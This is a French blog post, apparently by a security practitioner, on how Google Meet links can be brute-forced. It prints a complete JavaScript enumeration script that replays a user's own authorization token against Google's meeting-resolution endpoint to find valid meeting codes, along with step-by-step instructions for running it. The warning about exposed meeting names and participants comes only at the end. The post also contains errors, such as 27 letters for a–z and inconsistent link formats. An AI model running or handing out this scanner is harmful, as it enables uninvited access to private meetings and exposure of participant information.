{ Visio } – S’incruster dans des Google Meet
Bonjour à tous,
Travaillant actuellement dans le domaine de la cybersécurité, je suis régulièrement confronté à des situations assez triviales.
Dernière en date, l’intrusion d’une personne lors d’un meet …
Heureusement, par sécurité, Google Meet a inclut une fonctionnalité permettant à la fois d’avertir les participants qu’une personne cherche à rejoindre la visioconférence, mais également de l’accepter ou la refuser.
Cependant cet événement m’amène à me poser un certain nombre de questions …
Complexité du lien Google Meet
Tout d’abord, comment est-il possible pour une personne de se connecter sur un lien meet sans y avoir été invité ?
Il faut considéder la simplicité du lien : https://google.meet.com/xxx-yyyy-zzz
xxx-yyyy-zzz ne sont que des caractères alphabétiques compris entre a et z, soit 27 combinaisons possibles pour chaque caractère.
Pour les mathématiciens, il y a donc :
27 x 27 x 27 x 27 x 27 x 27 x 27 x 27 x 27 x 27 combinaisons possibles …
Durée de vie d’un lien Google Meet
Bien que nous soyons désormais en mesure de mieux comprendre comment sont construits les liens de nos visios conférence « Google Meet », il y a un aspect très important à prendre en compte … la durée de vie d’un lien Google Meet !
En effet tout le monde peut générer des réunions Google Meet en quelques clics.
Mais après quelques jours, semaines ou mois … les liens ne sont plus valides.
Les liens générés ont donc une certaine durée de validité ….
Exception faites des événements « récurrents », et c’est d’ailleurs là que ça devient intéressant.
En entreprise, il y a de nombreuses occasions pour organiser des visio-conférences régulièrement (point d’équipe / d’entreprise, journalier, hebdomadaire, mensuel, ….).
Lorsqu’un collaborateur génère ce type d’événement dans son agenda, automatiquement un lien google meet est généré. Celui-ci est invariable.
Ainsi vous aurez le même lien à chaque fois pour cet événement.
Avec un peu de Javascript et de Force Brute ?
Avec tout ces éléments, nous sommes désormais outillé pour balayer toutes les possibilités, et parvenir à l’aide d’une forte probabilités à détecter des liens vers des visio-conférence !
J’ai donc un peu rétro-ingéniéré le fonctionnement de Google Meet pour écrire un code javascript qui va tenter un nombre infini de combinaisons
/*(c) Dyrk.org 2023-2024 – Meet’s Roulette(1) Run this script on https://google.meet.com(2) Find & Update authorization’s variable with a valid authorization’s token in yours Googles’s « xhr requests » headers*/(function() {let authorization = « SAPISIDHASH xxxxxxxxxxxxx_xxxxxxxxxxxxxxxxxxxxxxxxxxxxx« , dico = « abcdefghijklmnopqrstuvwxyz »,randomize = () => dico = dico.split( »).map(value => ({ value, sort: Math.random() })).sort((a, b) => a.sort – b.sort).map(({ value }) => value).join( »),
newPatternKey = () => « xxx-xxxx-xxx ».split( »).map(c=>c==’-‘?c:String.fromCharCode(Math.floor(Math.random()*25)+97)).join( »),
key = newPatternKey(), counter = 20;
next = () => key.split( »).map(e=> e ==’-‘ ? e : dico[ dico.indexOf(e) + 1 >= dico.length ? 0 : dico.indexOf(e) + 1 ]).join( »),
counter = 0;
meetLink = ‘https://meet.google.com/’, availableMeet = () => {
xhr = new XMLHttpRequest();
if (counter++ >= 20) {
counter = 0;
key = newPatternKey();
randomize();
}
key = next();
xhr.open(‘GET’, meetLink + key);
xhr.addEventListener(‘load’, (e) => {
fetch(meetLink.concat(« /$rpc/google.rtc.meetings.v1.MeetingSpaceService/ResolveMeetingSpace »), {
« headers »: {
« authorization »: authorization,
« content-type »: « application/x-protobuf »,
« x-goog-api-key »: e.target.response.match(/\[« https\:\/\/meet\.google\.com\ »\, »([A-Za-z0-9\_\-]{5,}) »\]/)[1],
« x-goog-authuser »: « 0 »,
« x-goog-encode-response-if-executable »: « base64 »,
« x-goog-meeting-identifier »: btoa(‘\b\x02\x12\f’.concat(key)),
},
« body »: « \n\f ».concat(key, « 0\u0001 »),
« method »: « POST »
}).then(e=>e.text())
.then(e=>{setTimeout(availableMeet, 100);
console.log(meetLink.concat(key).beautifyDisplay(38), (e.replace(/[^A-Za-z0-9 ]/g, » »)+ » « ).beautifyDisplay(38));
});
});
xhr.send();
};
String.prototype.beautifyDisplay = function(size) { let txt = this.valueOf(); return txt.concat(‘ ‘.repeat(txt.length > size ? txt.length : size)).substr(0, size).concat(‘|’); },
console.clear();
availableMeet();
})()
Pour faire fonctionner tout ça il faudra :
- Ouvrir la page https://meet.google.com
- Ouvrir la console développeur
- Dans l’onglet « Réseau », filtrer les requêtes fetch / xhr & récupérer un token d’« authorization »
- Copier-coller le code source ci-dessus et mettre à l’endroit indiqué le token.
- Valider avec la touche « Entrée » de votre clavier.
Récupération du token « Authorization » :
Pour les curieux, voilà à quoi devrait ressembler le résultat de ce script en action.
Nous constatons donc des lignes qui nous informe que l’espace de visio-conférence n’existe pas.
Et d’autre qui nous remontent le token de la conférence ! Indiquant par conséquent que le lien est valide ;)
N’espérez cependant pas tomber en quelques secondes sur un lien meet ^^
(Sauf si vous êtes un petit veinard)
Il vous faudra faire preuve d’une grande patience, en le laissant tourner au moins une bonne demi-heure.
Conclusion
Ne paniquez pas sur le fait qu’il existe un plus grand nombre de chance de trouver un lien Google Meet Valide que de gagner au loto.
Attention ! Une personne qui tombe sur un lien meet valide accède à certaines informations sans avoir besoin d’être connecté :
Le nom de la réunion (évitez donc d’y glisser des informations confidentielles), et les participants connectés (tout ou une partie).